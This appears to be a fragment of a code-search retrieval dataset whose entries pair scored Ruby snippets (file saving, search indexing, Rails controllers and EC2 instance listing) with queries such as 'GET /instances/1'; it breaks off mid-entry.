"text": "def index_ontology_terms_from_cache( doc, term_conf, cached_data )\n [:term,:term_name].each do |term_or_name|\n cached_data[term_or_name].each do |target|\n doc[ term_conf[\"idx\"][term_or_name.to_s].to_sym ].push( target )\n end\n doc[ term_conf[\"idx\"][\"breadcrumb\"].to_sym ].push( cached_data[term_or_name].join(\" | \") )\n end\n end",
"title": ""
},
{
"docid": "02f3b3b5183fc1046e0679ffa1fb41ee",
"score": "0.5374913",
"text": "def retrieve_terms(key, id, reader, options)\n raise \"more_like_this atm only works on saved records\" if key.nil?\n document_number = document_number(key) rescue nil\n field_names = options[:field_names]\n max_num_tokens = options[:max_num_tokens]\n term_freq_map = Hash.new(0)\n doc = nil\n record = nil\n field_names.each do |field|\n #puts \"field: #{field}\"\n term_freq_vector = reader.term_vector(document_number, field) if document_number\n #if false\n if term_freq_vector\n # use stored term vector\n # puts 'using stored term vector'\n term_freq_vector.terms.each do |term|\n term_freq_map[term.text] += term.positions.size unless noise_word?(term.text, options)\n end\n else\n # puts 'no stored term vector'\n # no term vector stored, but we have stored the contents in the index\n # -> extract terms from there\n content = nil\n if document_number\n doc = reader[document_number]\n content = doc[field]\n end\n unless content\n # no term vector, no stored content, so try content from this instance\n record ||= options[:base_class].constantize.find(id)\n content = record.content_for_field_name(field.to_s)\n end\n puts \"have doc: #{doc[:id]} with #{field} == #{content}\"\n token_count = 0\n \n ts = options[:analyzer].token_stream(field, content)\n while token = ts.next\n break if (token_count+=1) > max_num_tokens\n next if noise_word?(token.text, options)\n term_freq_map[token.text] += 1\n end\n end\n end\n term_freq_map\n end",
"title": ""
},
{
"docid": "166556f407034c356e8bcfe107e556cd",
"score": "0.5370901",
"text": "def save_tweets_for(term)\n @client.search(term).each do |tweet|\n @tweets_found += 1\n tweet_doc = tweet.to_h\n tweet_doc[:tags] = term\n tweet_doc[:_id] = tweet_doc[:id]\n @tweets.insert_one(tweet_doc)\n end\n end",
"title": ""
},
{
"docid": "4537a4654fd95aeab57ab28f5e9915ac",
"score": "0.53706235",
"text": "def writeToFile(type, text)\n\t\t# get collection\n\t\tthings = @@db.collection(\"saves\")\n\t\t\n\t\t# get form name\n\t\tfrm = @@form\n\t\t\n\t\t# check if form variable is set\n\t\tif(!frm)\n\t\t\tfrm = \"N/A\"\n\t\tend\n\t\t\n\t\t# insert into document\n\t\tthings.insert(type => text, \"form\" => frm)\n\tend",
"title": ""
},
{
"docid": "f7951a74f4320868d6ceae39defac480",
"score": "0.5369801",
"text": "def save_path_tree\n file = File.open(DATA_STORE, 'w')\n file.write path_tree.dump.to_json\n file.close\n end",
"title": ""
},
{
"docid": "8c5b2b13240e88506b9f90a2391e78bb",
"score": "0.53661233",
"text": "def save doc, to_filename, &data_iterator\n\n @file_manager = OfficeFileManager.new(@ods_template)\n \n data_iterator.call(doc)\n\n @file_manager.save doc, to_filename\n \n end",
"title": ""
},
{
"docid": "56010df68776bc78a0a0b4aac4de7c5f",
"score": "0.53630537",
"text": "def open_index(o={})\n @clf = cache_data('clf', Searcher.load_features())\n @con_weights = cache_data('con_weights', Searcher.load_weights(CON_FEATURES, 'con', Conf.weight_con))\n @doc_weights = cache_data('doc_weights', Searcher.load_weights(DOC_FEATURES, 'doc', Conf.weight_doc))\n end",
"title": ""
},
{
"docid": "78ac30b09d8fb285e7be165e618fd6b1",
"score": "0.5357963",
"text": "def save\n ::Classifier.dataset.delete\n\n @classifiers.each do |section, reference_values|\n ::Classifier.create(\n section: section.to_s,\n reference_values: JSON.generate(reference_values)\n )\n end\n end",
"title": ""
},
{
"docid": "d7f5722829f38e416f01728884ce800d",
"score": "0.5356706",
"text": "def generateInverted(rows, filepath)\n file = File.open(filepath, 'a+')\n #Database should already exist at this point\n file.write(\"INSERT IGNORE INTO invertedIndex VALUES(0,0,0,0,0)\")\n rows.each do |row|\n file.write(\",(#{row.wordID}, #{row.nDocs}, #{row.docID}, #{row.nHits}, #{row.hit})\")\n end\n file.write(\";\")\n file.write(\"\\n\")\n file.close\n end",
"title": ""
},
{
"docid": "2675f390824bfbb7143f23704e717757",
"score": "0.5349245",
"text": "def save\n file = CSV.open(File.expand_path(\"../../db/gossip.csv\", __FILE__), \"ab\") do |csv|\n csv << [@author, @content]\n end\n file.close\n end",
"title": ""
},
{
"docid": "6a3fe1721633850245656612e3d18a9e",
"score": "0.53472495",
"text": "def save\n prepare\n h = {}\n h[:title] = @title\n h[:sequence] = @sequence.map(&:export)\n outfile = File.join(@basedir, \"#{@name}.json\")\n File.open(outfile, 'w') do |f|\n f.write JSON.pretty_generate(h)\n end\n end",
"title": ""
},
{
"docid": "5759b2fb9e74e52d9365296ba5d47bd5",
"score": "0.53321105",
"text": "def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end",
"title": ""
},
{
"docid": "2ebd5f0016be5c8bedb2f3b6c97fe0a0",
"score": "0.53293085",
"text": "def save\n\t\tCSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n\t\t\tcsv << [@author, @content]\n\t\tend\n\tend",
"title": ""
},
{
"docid": "3089a3b10649528fdcbdd99c214030d7",
"score": "0.53204983",
"text": "def save_information(keyword, page)\n\t\t\tkeyword.save_adword_urls(page)\n\t\t\tkeyword.save_nonadword_urls(page)\n \tend",
"title": ""
},
{
"docid": "f38f23b164fa22fa5bcaafeeb11a057d",
"score": "0.5319338",
"text": "def export(file)\n p \"exporting model to #{file}\"\n\tcom.hp.hpl.jena.tdb.TDB.sync(@model)\n @model.write(FileOutputStream.new(file))\n #@inferred.write(FileOutputStream.new(file))\n p \"model exported\"\n end",
"title": ""
},
{
"docid": "fca5563409bd89e6ffcf45cad282538c",
"score": "0.5316238",
"text": "def write_archive_indexes\n if self.layouts.key? 'category_index'\n archive_dir = self.config['archive_dir'] || 'archives'\n self.categories.keys.each do |category|\n self.write_archive_index(File.join(archive_dir, category.gsub(/_|\\P{Word}/, '-').gsub(/-{2,}/, '-').downcase), category)\n end\n\n # Throw an exception if the layout couldn't be found.\n else\n throw \"No 'category_index' layout found.\"\n end\n end",
"title": ""
},
{
"docid": "35c62ee453d555964c1275992697515d",
"score": "0.5309615",
"text": "def save_locally(dir)\n FileUtils.mkdir_p(dir) unless File.exists? dir\n \n # remove HTML BASE tag if it exists\n @contents.xpath('//base').each { |t| t.remove }\n # remove head tag\n @contents.xpath('//head').each { |t| t.remove }\n # remove link tags\n @contents.xpath('//link').each { |t| t.remove }\n # remove script tags\n @contents.xpath('//script').each { |t| t.remove }\n # remove comments\n @contents.xpath('//comment()').each { |t| t.remove }\n # remove mediawiki meta tag\n @contents.xpath('//meta').each { |t| t.remove if t['name'] == \"generator\" }\n # remove sitesub h3 tag\n @contents.xpath('//h3').each { |t| t.remove if t['id'] == \"siteSub\" }\n\n # get lastmod/viewcount values\n @contents.xpath('//li').each do |t|\n if t['id'] == \"lastmod\"\n @lastmod = t.text.strip\n end\n if t['id'] == \"viewcount\"\n @viewcount = t.text.strip\n end\n end\n\n # remove unneeded divs\n @contents.xpath('//div').each do |t|\n t.remove if t['id'] == \"column-one\"\n t.remove if t['id'] == \"footer\"\n t.remove if t['id'] == \"catlinks\"\n t.remove if t['id'] == \"contentSub\"\n t.remove if t['id'] == \"jump-to-nav\"\n t.remove if t['class'] == \"printfooter\"\n t.remove if t['class'] == \"visualClear\"\n end\n\n if @main_page == true\n save_path = File.join(dir, \"index\")\n title = 'Dublin Core Metadata Initiative Media-Wiki Archive'\n else\n save_path = File.join(dir, File.basename(uri.to_s))\n title = File.basename(uri.to_s).gsub(\"_\", \" \")\n end\n save_path += '.html' if save_path !~ /\\.((html?)|(txt))$/\n File.open(save_path, 'w') { |f| f.write(\"<!DOCTYPE html>\\n<html>\\n<head>\\n<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\">\\n<meta http-equiv=\\\"Content-Language\\\" content=\\\"en-us\\\">\\n<title>#{title}</title>\\n</head>\\n<body>\\n<p><b>This is an archived MediaWiki page.</b><br />#{@lastmod}<br />#{@viewcount}</p>\\n#{@contents.xpath('//div[@id=\"bodyContent\"]').to_html}\\n</body>\\n</html>\") }\n # File.open(save_path, 'w') { |f| f.write(\"---\\nlayout: page\\ntitle: #{title}\\n---\\n\\n#{@contents.xpath('//div[@id=\"bodyContent\"]').to_html}\") }\n end",
"title": ""
},
{
"docid": "4372fae3d29ee5beea6929978907c8ee",
"score": "0.5307337",
"text": "def save\n load_cache\n\n all_classes_and_modules.each do |klass|\n save_class klass\n\n klass.each_method do |method|\n save_method klass, method\n end\n\n klass.each_attribute do |attribute|\n save_method klass, attribute\n end\n end\n\n all_files.each do |file|\n save_page file\n end\n\n save_cache\n end",
"title": ""
},
{
"docid": "6f9d4c4cc3b919d4eac2bec18cddd8e6",
"score": "0.53062046",
"text": "def persistent_to_quicksave\n p_file = File.open(File.join([self.path, 'persistent.sfs']), 'r'){|f| f.readlines}\n File.open(File.join([self.path, 'quicksave.sfs']), 'w'){|f| f.write(p_file.join)}\n end",
"title": ""
},
{
"docid": "eed6036677275f4c7efa9018a512c9cc",
"score": "0.5305161",
"text": "def create_index_file\n return [] unless File.exist? path\n\n RelatonBib.parse_yaml File.read(path, encoding: \"UTF-8\"), [Symbol]\n end",
"title": ""
},
{
"docid": "b797dabb8885b5ecf9a7e6a3e6c4aef6",
"score": "0.5303281",
"text": "def write\n return false unless set_lock\n file_name = generate_filename\n \n File.open file_name, 'w' do |file|\n file.write Marshal.dump(@documents)\n end\n\n @documents = []\n release_lock\n end",
"title": ""
},
{
"docid": "2127b6dad78bc4c7f0f2418f03f1cf59",
"score": "0.5302926",
"text": "def save_keys\n #TODO: add worker id to filename\n filename = \"#{@key_prefix}_pages.#{Time.now.getutc.to_s.gsub(/\\s/,'').gsub(/:/,\"-\") }.jsons.gz\"\n Zlib::GzipWriter.open(filename) do |gz|\n keys.each do |k| \n gz.write @pages[k]\n gz.write \"\\n\"\n end\n end\n\n return keys, filename\n\n end",
"title": ""
},
{
"docid": "4b9085c3c1f56dddf25144e85297dd2f",
"score": "0.5302896",
"text": "def save\n all_files.each{ |file| parse_and_save(file) }\n end",
"title": ""
},
{
"docid": "f53c000c2a7a93a046d715e429be5667",
"score": "0.5301285",
"text": "def write_training_file\n file = File.open('./train.data', 'w')\n\n file.puts \"#{@training_headlines.count} #{@number_of_inputs} #{@number_of_outputs}\"\n @training_headlines.find_each do |headline|\n file.puts vectorize_headline(headline).join(' ')\n file.puts vectorized_signs(headline).join(' ')\n file.puts\n file.puts\n end\n\n file.close\n end",
"title": ""
},
{
"docid": "ac69721f3bdb8174da82dda344924dfd",
"score": "0.5296618",
"text": "def save_all\n reports = to_h\n reports.each do |file, report|\n File.write(file, report)\n end\n\n reports.keys\n end",
"title": ""
},
{
"docid": "f6999960ff8a94e482be2163f65a6a0d",
"score": "0.52949107",
"text": "def save!; File.write @path, @data end",
"title": ""
},
{
"docid": "aa1a8a25bc1eb6bfc00079e8898dcdad",
"score": "0.52859676",
"text": "def store_metadata(terms)\n terms.each_pair do |term, value|\n property = property_for(term)\n next if property.nil?\n # Array-ify the value to avoid a conditional here\n Array(value).each { |v| append_property_value(property, v) }\n end\n end",
"title": ""
},
{
"docid": "411ee4cbae88b8b12a8a05d22b6b4af2",
"score": "0.528516",
"text": "def save\n CSV.open('./db/gossip.csv', 'ab') do |csv|\n csv << [@content, @author]\n end\n end",
"title": ""
},
{
"docid": "fc5eb0ee33d10fe35646733bb5758846",
"score": "0.52810156",
"text": "def save_docs(docs, o = {})\n return 0 if !docs || docs.size == 0\n saved_count = 0\n docs = filter_existing_docs(docs) if @src.itype != 'file' && !o[:force]\n return 0 if !docs || docs.size == 0\n docs_db = Item.find_by_dids(docs.map{|d|d[:did]}).map_hash{|d|[d[:did],d]}\n debug \"[save_docs] #{docs_db.size}/#{docs.size} docs found from db\"\n docs.each do |doc|\n #debug \"[save_docs] Processing #{doc[:did]}\"\n next if @src.o[:insert_only] && docs_db[doc[:did]]\n doc_db = docs_db[doc[:did]] || Item.new\n next if doc_db.modified_flag || !doc_db.changed_content?(doc)\n begin\n #type = (doc[:itype] =~ /query/)? 'Query' : 'Document'\n doc_db.update_attributes(doc.merge(:source_id=>@src.id))\n #debug \"[save_docs] filter : #{@src.filter.inspect}\"\n if @src.filter && @src.filter.size > 0 && doc_db.validate_by_condition(@src.filter)\n info \"[collect] Document #{doc_db.did} filtered out!\"\n doc_db.destroy\n else\n doc[:metadata][:tag_list].split(\",\").each{|e|doc_db.create_and_link(e, 'tag','t')} unless doc[:metadata][:tag_list].blank?\n doc_db.create_and_link(doc[:metadata][:query], 'query','q') if doc[:metadata][:query]\n #doc_db.add_tags(doc[:metadata][:tag_list], \"s\") unless doc[:metadata][:tag_list].blank?\n doc_db.process_all\n saved_count += 1\n doc_db.save\n end\n rescue Exception => e\n error \"[save_docs] \"+[e.inspect,e.backtrace].join(\"\\n\")\n end\n end\n #puts \"[save_docs] saved_count = #{saved_count}\"\n saved_count\n end",
"title": ""
},
{
"docid": "0e81a58389fd0e956676cdc3c2213356",
"score": "0.5279982",
"text": "def store obj, msg\n Dir.chdir(working_dir) do\n dirname = File.dirname(obj.path)\n FileUtils.mkdir_p(dirname) unless File.directory?(dirname)\n File.open(obj.path, 'w'){ |f| f.write(obj.content) }\n add(obj.path)\n end\n commit_index(msg)\n end",
"title": ""
},
{
"docid": "af06a114535eb9f5050472d18e444014",
"score": "0.52751994",
"text": "def save_as_csv\n h = get_townhall_urls\n CSV.open('db/emails.csv', 'wb', write_headers: true, headers: ['Mairies du 95', 'Email']) do |csv|\n h.to_a.each { |elem| csv << elem }\n end\n puts \"\\nTon fichier csv est prêt\\n\\n\"\n Index.new.index\n end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "e8af8e216821b936b27fe4e3e2d106ff",
"score": "0.526923",
"text": "def save; end",
"title": ""
},
{
"docid": "dfb7cac90b1dcad6fc4b605916791820",
"score": "0.5261902",
"text": "def index_data(*models)\n if models.nil? || models.empty?\n only_index = @indexed_models\n else\n only_index = models.collect{|m| m.to_s}\n end \n \n Mebla.log(\"Indexing #{only_index.join(\", \")}\", :debug)\n \n # Build up a bulk query to save processing and time\n bulk_query = \"\"\n # Keep track of indexed documents\n indexed_count = {}\n \n # Create the index\n if create_index\n # Start collecting documents\n only_index.each do |model|\n Mebla.log(\"Indexing: #{model}\")\n # Get the class\n to_index = model.camelize.constantize\n \n # Get the records \n entries = []\n unless to_index.embedded?\n if to_index.sub_class?\n entries = to_index.any_in(:_type => [to_index.name])\n else \n entries = to_index.any_in(:_type => [nil, to_index.name])\n end\n else\n parent = to_index.embedded_parent\n access_method = to_index.embedded_as\n \n parent.all.each do |parent_record|\n if to_index.sub_class?\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [to_index.name])\n else\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [nil, to_index.name])\n end\n end\n end\n \n # Save the number of entries to be indexed\n indexed_count[model] = entries.count \n \n # Build the queries for this model \n entries.each do |document|\n attrs = {} #document.attributes.dup # make sure we dont modify the document it self\n attrs[:id] = document.attributes[\"_id\"] # the id is already added in the meta data of the action part of the query\n \n # only index search fields and methods\n document.class.search_fields.each do |field|\n if document.attributes.keys.include?(field.to_s)\n attrs[field] = document.attributes[field.to_s] # attribute\n else\n attrs[field] = document.send(field) # method\n end\n end\n \n # index relational fields\n document.class.search_relations.each do |relation, fields| \n items = document.send(relation.to_sym) # get the relation document\n \n next if items.nil?\n \n # N relation side\n if items.is_a?(Array) || items.is_a?(Mongoid::Relations::Targets::Enumerable)\n next if items.empty?\n attrs[relation] = []\n items.each do |item|\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if item.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => item.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => item.send(field) }) # method\n end\n end\n attrs[relation] << fields_values\n else # only index one field in the relation\n if item.attributes.keys.include?(fields.to_s)\n attrs[relation] << { fields => item.attributes[fields.to_s] } # attribute\n else\n attrs[relation] << { fields => item.send(fields) } # method\n end\n end\n end\n # 1 relation side\n else\n attrs[relation] = {}\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if items.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => items.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => items.send(field) }) # method\n end\n end\n attrs[relation].merge!(fields_values)\n else # only index one field in the relation\n if items.attributes.keys.include?(fields.to_s)\n attrs[relation].merge!({ fields => items.attributes[fields.to_s] }) # attribute\n else\n attrs[relation].merge!({ fields => items.send(fields) }) # method\n end\n end\n end\n end \n \n # If embedded get the parent id\n if document.embedded?\n parent_id = document.send(document.class.embedded_parent_foreign_key.to_sym).id.to_s \n attrs[(document.class.embedded_parent_foreign_key + \"_id\").to_sym] = parent_id\n attrs[:_parent] = parent_id\n \n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs, parent_id)\n else\n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs)\n end\n end\n end\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Could not create #{@slingshot_index_name}!!!\")\n end \n \n Mebla.log(\"Bulk indexing:\\n#{bulk_query}\", :debug) \n \n # Send the query\n response = Slingshot::Configuration.client.post \"#{Mebla::Configuration.instance.url}/_bulk\", bulk_query\n \n # Only refresh the index if no error ocurred\n unless response =~ /error/ \n # Log results\n Mebla.log(\"Indexed #{only_index.count} model(s) to #{self.slingshot_index_name}: #{response}\")\n Mebla.log(\"Indexing Report:\")\n indexed_count.each do |model_name, count|\n Mebla.log(\"Indexed #{model_name}: #{count} document(s)\")\n end\n \n # Refresh the index\n refresh_index\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following response:\\n #{response}\")\n end\n rescue RestClient::Exception => error\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following error: #{error.message}\")\n end",
"title": ""
},
{
"docid": "fef9a134a10dbd9ccc3b3333c3cdd952",
"score": "0.5240822",
"text": "def index_write\n rugged_repository.index.reload\n yield(rugged_repository.index)\n rugged_repository.index.write\n end",
"title": ""
},
{
"docid": "e9ba26bbc96c62dc2e3d8a882ffb2bb3",
"score": "0.52386785",
"text": "def save\n File.open(@base_file, \"w\") do |f|\n f.puts(JSON.pretty_generate(@config))\n end\n File.open(@completions_file, \"w\") do |f|\n f.puts(JSON.pretty_generate(@completions.to_a))\n end\n end",
"title": ""
},
{
"docid": "d03018b52d68ff5290ab69a9091ee7b5",
"score": "0.5237954",
"text": "def store\n object = bucket.objects.build(final_file)\n object.content = open(File.join(tmp_path, final_file))\n object.save\n end",
"title": ""
},
{
"docid": "57f1cb3bd43b4851f05f09e7f48c6552",
"score": "0.52263707",
"text": "def write_to(doc);end",
"title": ""
},
{
"docid": "3ac840259e4d8d9d88f7c06934276406",
"score": "0.5225615",
"text": "def export_to_db!(filter_boxes)\n return unless @contradiction_count.zero?\n create_new_chapters!\n @chapters.each do |c|\n create_new_sections!(c)\n c['mampf_chapter'] = c['mampf_chapter'].reload\n end\n create_or_update_chapter_items!\n create_or_update_section_items!\n create_or_update_content_items!(filter_boxes)\n update_tags!(filter_boxes)\n end",
"title": ""
},
{
"docid": "7b71b89d5b07a340e6dd252175e8050f",
"score": "0.52190274",
"text": "def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\n end",
"title": ""
},
{
"docid": "3a682aa837d6c01eff9b71e56787a8e0",
"score": "0.5199678",
"text": "def write\n file_name = \"course_#{@file_term}.json\"\n # Write the JSON to the course_work_content folder where the app will pick it up later\n Rails.root.join(\"lib/course_work_content\", file_name).write(@courses.to_json)\n end",
"title": ""
},
{
"docid": "2fbb7402659416bda40667c33d71acd5",
"score": "0.5193673",
"text": "def dump_index_cache(file)\n indexes = {}\n @indexes.sort.each do |k, v|\n indexes[k] = v\n end\n File.open(file, 'wb'){|f| f.write(Marshal.dump(indexes))}\n nil\n end",
"title": ""
},
{
"docid": "15365594922068e32f5638bcaa0c6076",
"score": "0.51892745",
"text": "def save\n\t CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n\t csv << [@author, @content]\n\t end\n\tend",
"title": ""
}
] |
11151909f39e492fe0ff9c4a44678ba0
|
GET /instances/1 GET /instances/1.xml
|
[
{
"docid": "897381cf5fc1585a521268b70b29f2ff",
"score": "0.5944802",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instance }\n end\n end",
"title": ""
}
] |
[
{
"docid": "05c38e3a073c1a189bab54ee0f3eb34d",
"score": "0.6595818",
"text": "def index\n @instances = current_account.instances.all(:order => \"aws_image_id asc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @instances }\n end\n end",
"title": ""
},
{
"docid": "2293a7b25bfe5b9fae465e3b4ac89742",
"score": "0.65726197",
"text": "def instances\n get_json(instances_endpoint)\n end",
"title": ""
},
{
"docid": "c5936161be6d992ef33b94c8baf95da7",
"score": "0.6294697",
"text": "def show\n @instancetype = Instancetype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instancetype }\n end\n end",
"title": ""
},
{
"docid": "7cf808eb3dd64873099a815851c1ef54",
"score": "0.62893635",
"text": "def instance_list()\n\t\treturn return_reply('instance/list')\n\tend",
"title": ""
},
{
"docid": "87a620e295542b8ebbc477c2adc55a84",
"score": "0.62451285",
"text": "def index\r\n\r\n @instances = Instance.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @instances }\r\n end\r\n end",
"title": ""
},
{
"docid": "9f126018ffbfc286b600ac1dfcf943f1",
"score": "0.62350667",
"text": "def index\n @instances = Instance.all\n end",
"title": ""
},
{
"docid": "9f126018ffbfc286b600ac1dfcf943f1",
"score": "0.62350667",
"text": "def index\n @instances = Instance.all\n end",
"title": ""
},
{
"docid": "aa236c6fe0d5c88dd31c83a9c975e961",
"score": "0.6188922",
"text": "def show\n @instance_kind = InstanceKind.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instance_kind }\n end\n end",
"title": ""
},
{
"docid": "15548e01b9b278134b0d91cea28a206c",
"score": "0.6173921",
"text": "def index\n @instance_kinds = InstanceKind.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @instance_kinds }\n end\n end",
"title": ""
},
{
"docid": "0a9135dd0ffef41ce797f70560796950",
"score": "0.6140867",
"text": "def cabot_instance_get(name)\n instances = JSON.parse(get_request(\"instances/\").body)\n instance = instances.find {|h1| h1['name']==\"#{name}\"}\n\n return instance\nend",
"title": ""
},
{
"docid": "e0fbbb9be8c88f206ca852d74cdfb55a",
"score": "0.60986024",
"text": "def list\n instances = swirl.call(\"DescribeInstances\")\n\n lookup = {}\n instances[\"reservationSet\"].each {|r| r[\"instancesSet\"].each { |i| lookup[i[\"imageId\"]] = nil } }\n amis = swirl.call(\"DescribeImages\", \"ImageId\" => lookup.keys)[\"imagesSet\"]\n\n amis.each do |ami|\n name = ami[\"name\"] || ami[\"imageId\"]\n if !ami[\"description\"] || ami[\"description\"][0..1] != \"%%\"\n # only truncate ugly names from other people (never truncate ours)\n name.gsub!(/^(.{8}).+(.{8})/) { $1 + \"...\" + $2 }\n name = \"(foreign) \" + name\n end\n lookup[ami[\"imageId\"]] = name\n end\n\n instances[\"reservationSet\"].each do |r|\n r[\"instancesSet\"].each do |i|\n name = lookup[i[\"imageId\"]]\n puts \"%-15s %-15s %-15s %s\" % [ i[\"instanceId\"], i[\"ipAddress\"] || \"no ip\", i[\"instanceState\"][\"name\"], name ? name : i[\"imageId\"]]\n end\n end\n end",
"title": ""
},
{
"docid": "37312283e2500b6f7830efc08d4e004c",
"score": "0.60928047",
"text": "def get_instances\n logger.info \"getting instances for #{@hostname}\"\n compute_url=\"#{@compute_url}/servers/detail?all_tenants=true\"\n response_raw=RestClient::Request.execute(method: :get, :url => compute_url, headers: {\"X-Auth-Token\" => @token}, :verify_ssl => false)\n json_data = JSON.parse(response_raw.body)[\"servers\"]\n logger.info \"recieved #{json_data.count} instances from #{@hostname}\"\n json_data\n end",
"title": ""
},
{
"docid": "e3f1c87eaaaa2621a8a11ec3a7868e61",
"score": "0.60589474",
"text": "def get_instance_document\n url = URI.parse('http://169.254.169.254/latest/dynamic/instance-identity/document')\n response = Net::HTTP.get_response(url)\n\n return nil if response.code != \"200\"\n\n return parse_json_object(response.body)\nend",
"title": ""
},
{
"docid": "85fb077aa0181e9daf73532397844595",
"score": "0.60532534",
"text": "def instance_get_req(name)\n { :api_method => @compute.instances.get,\n :parameters => { 'project' => @options[:gce_project], 'zone' => DEFAULT_ZONE_NAME, 'instance' => name } }\n end",
"title": ""
},
{
"docid": "7952065f9d1724b008c2fe0940626fef",
"score": "0.60219836",
"text": "def instance_get(path)\n result = $evm.instance_get(path)\n $evm.log('info', \"Instance:<#{path}> properties:<#{result.inspect}>\") \n return result\nend",
"title": ""
},
{
"docid": "b2a8234e0d49e1d1194a523651634f4d",
"score": "0.60013914",
"text": "def show\n @user = User.find(params[:id])\n @instances = @user.instances\n end",
"title": ""
},
{
"docid": "fe805fc63834ad2a29f3b4c680a78dfa",
"score": "0.59847397",
"text": "def get_instances()\n @client.describe_instances({:layer_id => @layer[:layer_id]})[:instances]\n end",
"title": ""
},
{
"docid": "51427c1df586aa239b52ca16bcacab81",
"score": "0.5972554",
"text": "def list_instances\n response = api_call('list-instances')\n instances = response['list-instancesresponse']['instancesSet']\n if instances\n instances.values\n else\n []\n end\n end",
"title": ""
},
{
"docid": "58cb46b34f9012aae12fd31bf156f9e9",
"score": "0.5965453",
"text": "def show_instances(list = [])\n instances = make_request(\"#{self.web_api}/api/instances\",Net::HTTP::Get,account, list)\n build_instances_hash(instances,account)\n end",
"title": ""
},
{
"docid": "49e091dd631bff0ac7c3d923dbddf7ce",
"score": "0.5952942",
"text": "def query_instances\n instances_by_href = {}\n if (instances_by_href = @instance_cache.get) == nil\n @log.info \"Querying instances from RightScale API (might take a few minutes)...\"\n instances = instance_helper.get_unmanaged_instances\n instances_by_href = instances.inject({}) {|new_hash, instance| instance.show ; new_hash[instance.href] = existing_name(instance); new_hash}\n @instance_cache.set(instances_by_href)\n end\n @log.debug \"instances_by_href: #{instances_by_href.inspect}\"\n instances_by_href\n end",
"title": ""
},
{
"docid": "f6e61c8d1b163f3e23fc33008a62426c",
"score": "0.5935948",
"text": "def query_instance(instance_id, endpoint, access_key, secret_key, token = nil)\n parameters = [\n ['Action', 'DescribeInstances' ],\n ['InstanceId.1', instance_id ],\n ['Version', '2014-10-01' ],\n ]\n response = query(parameters, endpoint, access_key, secret_key, token)\n\n if response.code != \"200\"\n Facter.debug(\"DescribeInstances returned #{response.code} #{response.message}\")\n return {}\n end\n\n doc = REXML::Document.new(response.body)\n\n tags = {}\n doc.get_elements('//tagSet/item').each do |item|\n key = item.get_elements('key')[0].text\n key.gsub!(':','_')\n value = item.get_elements('value')[0].text\n tags[\"ec2_tag_#{key}\"] = value\n end\n\n lifecycle = doc.get_elements('//instanceLifecycle')[0]\n if ! lifecycle.nil?\n tags['ec2_lifecycle'] = lifecycle.text\n end\n\n return tags\nend",
"title": ""
},
{
"docid": "db87dbbb3a9040cb833f5f8ad8bfb0f7",
"score": "0.5919802",
"text": "def show\n @cluster = Cluster.find(params[:id])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cluster }\n end\n end",
"title": ""
},
{
"docid": "f4da3a99f3047f6300a44a472c8166d5",
"score": "0.5909944",
"text": "def show\r\n\r\n @instance = Instance.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @instance }\r\n end\r\n end",
"title": ""
},
{
"docid": "5fd6d2bf4ef7c9dfe3a4ac8afee442e2",
"score": "0.59062237",
"text": "def get\n @xml = @paths.map { |path|\n puts \"GET\\t#{@host + path}\"\n RestClient.get(@host + path) { |response, request, result|\n puts \"RESPONSE #{response.code}\"\n response.body\n }\n }.map { |response|\n Nokogiri::XML(response).xpath(\"/*\").to_s\n }\n self\n end",
"title": ""
},
{
"docid": "361ee43c4b7e0db40fe0a07b8f221555",
"score": "0.58753896",
"text": "def find instance_id\n params = {\n \"InstanceId.1\" => instance_id\n }\n\n response = @client.action \"DescribeInstances\", params\n\n Response::Compute.new response.body['DescribeInstancesResponse']['reservationSet']['item']\n end",
"title": ""
},
{
"docid": "7965e650c0f0cf5a383180b5fb1f508e",
"score": "0.58622926",
"text": "def index\n @instances = @klazz.all\n end",
"title": ""
},
{
"docid": "3eb5cea36c4f697b8d46fe0cac3cc6d6",
